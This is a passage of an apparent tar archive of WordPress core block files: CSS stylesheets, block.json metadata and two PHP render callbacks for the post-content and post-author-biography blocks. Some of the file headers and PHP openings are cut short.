border-top: 3px solid; } .wp-block-table td, .wp-block-table th { padding: 0.5em; border: 1px solid; word-break: normal; } .wp-block-table figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table figcaption { color: rgba(255, 255, 255, 0.65); }blocks/table/theme-rtl.css000064400000003467147177035010011542 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-table thead { border-bottom: 3px solid; } .wp-block-table tfoot { border-top: 3px solid; } .wp-block-table td, .wp-block-table th { padding: 0.5em; border: 1px solid; word-break: normal; } .wp-block-table figcaption { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table figcaption { color: rgba(255, 255, 255, 0.65); }blocks/table/style.css000064400000007607147177035010011001 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-table { margin: 0 0 1em 0; overflow-x: auto; } .wp-block-table table { border-collapse: collapse; width: 100%; } .wp-block-table .has-fixed-layout { table-layout: fixed; width: 100%; } .wp-block-table .has-fixed-layout td, .wp-block-table .has-fixed-layout th { word-break: break-word; } .wp-block-table.alignleft, .wp-block-table.aligncenter, .wp-block-table.alignright { display: table; width: auto; } .wp-block-table.alignleft td, .wp-block-table.alignleft th, .wp-block-table.aligncenter td, .wp-block-table.aligncenter th, .wp-block-table.alignright td, .wp-block-table.alignright th { word-break: break-word; } .wp-block-table .has-subtle-light-gray-background-color { background-color: #f3f4f5; } .wp-block-table .has-subtle-pale-green-background-color { background-color: #e9fbe5; } .wp-block-table .has-subtle-pale-blue-background-color { background-color: #e7f5fe; } .wp-block-table .has-subtle-pale-pink-background-color { background-color: #fcf0ef; } .wp-block-table.is-style-stripes { border-spacing: 0; border-collapse: inherit; background-color: transparent; border-bottom: 1px solid #f0f0f0; } .wp-block-table.is-style-stripes tbody tr:nth-child(odd) { background-color: #f0f0f0; } .wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd) { background-color: #f3f4f5; } .wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd) { background-color: #e9fbe5; } .wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd) { background-color: #e7f5fe; } .wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd) { background-color: #fcf0ef; } .wp-block-table.is-style-stripes th, .wp-block-table.is-style-stripes td { border-color: transparent; } .wp-block-table .has-border-color > *, .wp-block-table .has-border-color tr, .wp-block-table .has-border-color th, .wp-block-table .has-border-color td { border-color: inherit; } .wp-block-table table[style*=border-style] > *, .wp-block-table table[style*=border-style] tr, .wp-block-table table[style*=border-style] th, .wp-block-table table[style*=border-style] td { border-style: inherit; } .wp-block-table table[style*=border-width] > *, .wp-block-table table[style*=border-width] tr, .wp-block-table table[style*=border-width] th, .wp-block-table table[style*=border-width] td { border-width: inherit; border-style: inherit; }blocks/archives/editor-rtl.css000064400000002756147177035010012443 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ ul.wp-block-archives { padding-right: 2.5em; }blocks/archives/style.min.css000064400000000060147177035010012262 0ustar00.wp-block-archives-dropdown label{display:block}blocks/archives/editor.css000064400000002755147177035010011643 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ ul.wp-block-archives { padding-left: 2.5em; }blocks/archives/style-rtl.css000064400000002765147177035010012315 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-archives-dropdown label { display: block; }blocks/archives/editor.min.css000064400000000050147177035010012407 0ustar00ul.wp-block-archives{padding-left:2.5em}blocks/archives/block.json000064400000001046147177035010011620 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/archives", "title": "Archives", "category": "widgets", "description": "Display a date archive of your posts.", "textdomain": "default", "attributes": { "displayAsDropdown": { "type": "boolean", "default": false }, "showPostCounts": { "type": "boolean", "default": false }, "type": { "type": "string", "default": "monthly" } }, "supports": { "align": true, "html": false }, "editorStyle": "wp-block-archives-editor" } blocks/archives/style-rtl.min.css000064400000000060147177035010013061 0ustar00.wp-block-archives-dropdown label{display:block}blocks/archives/editor-rtl.min.css000064400000000051147177035010013207 0ustar00ul.wp-block-archives{padding-right:2.5em}blocks/archives/style.css000064400000002765147177035010011516 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-archives-dropdown label { display: block; }blocks/query-title/style.min.css000064400000000054147177035010012745 0ustar00.wp-block-query-title{box-sizing:border-box}blocks/query-title/style-rtl.css000064400000000061147177035010012760 0ustar00.wp-block-query-title{ box-sizing:border-box; }blocks/query-title/block.json000064400000002003147177035010012272 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/query-title", "title": "Query Title", "category": "theme", "description": "Display the query title.", "textdomain": "default", "attributes": { "type": { "type": "string" }, "textAlign": { "type": "string" }, "level": { "type": "number", "default": 1 } }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true, "fontAppearance": true, "textTransform": true } } }, "editorStyle": "wp-block-query-title-editor" } blocks/query-title/style-rtl.min.css000064400000000054147177035010013544 0ustar00.wp-block-query-title{box-sizing:border-box}blocks/query-title/style.css000064400000000061147177035010012161 0ustar00.wp-block-query-title{ box-sizing:border-box; }blocks/post-content.php000064400000004533147177035010011201 0ustar00context['postId'] ) ) { return ''; } $post_id = $block->context['postId']; if ( isset( $seen_ids[ $post_id ] ) ) { // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = defined( 'WP_DEBUG' ) && WP_DEBUG && defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY; return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } $seen_ids[ $post_id ] = true; // Check is needed for backward compatibility with third-party plugins // that might rely on the `in_the_loop` check; calling `the_post` sets it to true. if ( ! in_the_loop() && have_posts() ) { the_post(); } // When inside the main loop, we want to use queried object // so that `the_preview` for the current post can apply. // We force this behavior by omitting the third argument (post ID) from the `get_the_content`. $content = get_the_content(); // Check for nextpage to display page links for paginated posts. if ( has_block( 'core/nextpage' ) ) { $content .= wp_link_pages( array( 'echo' => 0 ) ); } /** This filter is documented in wp-includes/post-template.php */ $content = apply_filters( 'the_content', str_replace( ']]>', ']]>', $content ) ); unset( $seen_ids[ $post_id ] ); if ( empty( $content ) ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => 'entry-content' ) ); return ( '
    ' . $content . '
    ' ); } /** * Registers the `core/post-content` block on the server. */ function register_block_core_post_content() { register_block_type_from_metadata( __DIR__ . '/post-content', array( 'render_callback' => 'render_block_core_post_content', ) ); } add_action( 'init', 'register_block_core_post_content' ); blocks/template-part/editor-rtl.css000064400000003427147177035010013412 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ @media (min-width: 600px) { .block-editor-template-part__selection-modal { width: calc(100% - 32px); height: calc(100% - 120px); } } @media (min-width: 782px) { .block-editor-template-part__selection-modal { width: 750px; } } @media (min-width: 960px) { .block-editor-template-part__selection-modal { height: 70%; } }blocks/template-part/editor.css000064400000003427147177035010012613 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ @media (min-width: 600px) { .block-editor-template-part__selection-modal { width: calc(100% - 32px); height: calc(100% - 120px); } } @media (min-width: 782px) { .block-editor-template-part__selection-modal { width: 750px; } } @media (min-width: 960px) { .block-editor-template-part__selection-modal { height: 70%; } }blocks/template-part/editor.min.css000064400000000436147177035010013372 0ustar00@media (min-width:600px){.block-editor-template-part__selection-modal{width:calc(100% - 32px);height:calc(100% - 120px)}}@media (min-width:782px){.block-editor-template-part__selection-modal{width:750px}}@media (min-width:960px){.block-editor-template-part__selection-modal{height:70%}}blocks/template-part/theme-rtl.min.css000064400000000133147177035010013777 0ustar00.wp-block-template-part.has-background{padding:1.25em 2.375em;margin-top:0;margin-bottom:0}blocks/template-part/block.json000064400000001125147177035010012571 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/template-part", "title": "Template Part", "category": "theme", "description": "Edit the different global regions of your site, like the header, footer, sidebar, or create your own.", "textdomain": "default", "attributes": { "slug": { "type": "string" }, "theme": { "type": "string" }, "tagName": { "type": "string" }, "area": { "type": "string" } }, "supports": { "align": true, "html": false, "reusable": false }, "editorStyle": "wp-block-template-part-editor" } blocks/template-part/editor-rtl.min.css000064400000000436147177035010014171 0ustar00@media (min-width:600px){.block-editor-template-part__selection-modal{width:calc(100% - 32px);height:calc(100% - 120px)}}@media (min-width:782px){.block-editor-template-part__selection-modal{width:750px}}@media (min-width:960px){.block-editor-template-part__selection-modal{height:70%}}blocks/template-part/theme.min.css000064400000000133147177035010013200 0ustar00.wp-block-template-part.has-background{padding:1.25em 2.375em;margin-top:0;margin-bottom:0}blocks/template-part/theme.css000064400000003050147177035010012417 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-template-part.has-background { padding: 1.25em 2.375em; margin-top: 0; margin-bottom: 0; }blocks/template-part/theme-rtl.css000064400000003050147177035010013216 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-template-part.has-background { padding: 1.25em 2.375em; margin-top: 0; margin-bottom: 0; }blocks/post-author-biography.php000064400000002650147177035010013011 0ustar00context['postId'] ) ) { return ''; } $author_id = get_post_field( 'post_author', $block->context['postId'] ); if ( empty( $author_id ) ) { return ''; } $author_biography = get_the_author_meta( 'description', $author_id ); if ( empty( $author_biography ) ) { return ''; } $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); return sprintf( '
    ', $wrapper_attributes ) . $author_biography . '
    '; } /** * Registers the `core/post-author-biography` block on the server. */ function register_block_core_post_author_biography() { register_block_type_from_metadata( __DIR__ . '/post-author-biography', array( 'render_callback' => 'render_block_core_post_author_biography', ) ); } add_action( 'init', 'register_block_core_post_author_biography' ); blocks/post-excerpt/editor-rtl.css000064400000003033147177035010013261 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline { display: inline-block; }blocks/post-excerpt/style.min.css000064400000000067147177035010013122 0ustar00.wp-block-post-excerpt__more-link{display:inline-block}blocks/post-excerpt/editor.css000064400000003033147177035010012462 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline { display: inline-block; }blocks/post-excerpt/style-rtl.css000064400000002774147177035010013146 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-excerpt__more-link { display: inline-block; }blocks/post-excerpt/editor.min.css000064400000000126147177035010013244 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline-block}blocks/post-excerpt/block.json000064400000002057147177035010012454 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/post-excerpt", "title": "Post Excerpt", "category": "theme", "description": "Display a post's excerpt.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "moreText": { "type": "string" }, "showMoreOnNewLine": { "type": "boolean", "default": true } }, "usesContext": [ "postId", "postType", "queryId" ], "supports": { "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-post-excerpt-editor", "style": "wp-block-post-excerpt" } blocks/post-excerpt/style-rtl.min.css000064400000000067147177035010013721 0ustar00.wp-block-post-excerpt__more-link{display:inline-block}blocks/post-excerpt/editor-rtl.min.css000064400000000126147177035010014043 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline-block}blocks/post-excerpt/style.css000064400000002774147177035010012347 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-excerpt__more-link { display: inline-block; }blocks/query-pagination-numbers/editor-rtl.css000064400000003240147177035010015571 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-query-pagination-numbers a { text-decoration: underline; } .wp-block-query-pagination-numbers .page-numbers { margin-left: 2px; } .wp-block-query-pagination-numbers .page-numbers:last-child { margin-right: 0; }blocks/query-pagination-numbers/editor.css000064400000003262147177035010014776 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-query-pagination-numbers a { text-decoration: underline; } .wp-block-query-pagination-numbers .page-numbers { margin-right: 2px; } .wp-block-query-pagination-numbers .page-numbers:last-child { /*rtl:ignore*/ margin-right: 0; }blocks/query-pagination-numbers/editor.min.css000064400000000314147177035010015553 0ustar00.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-right:2px}.wp-block-query-pagination-numbers 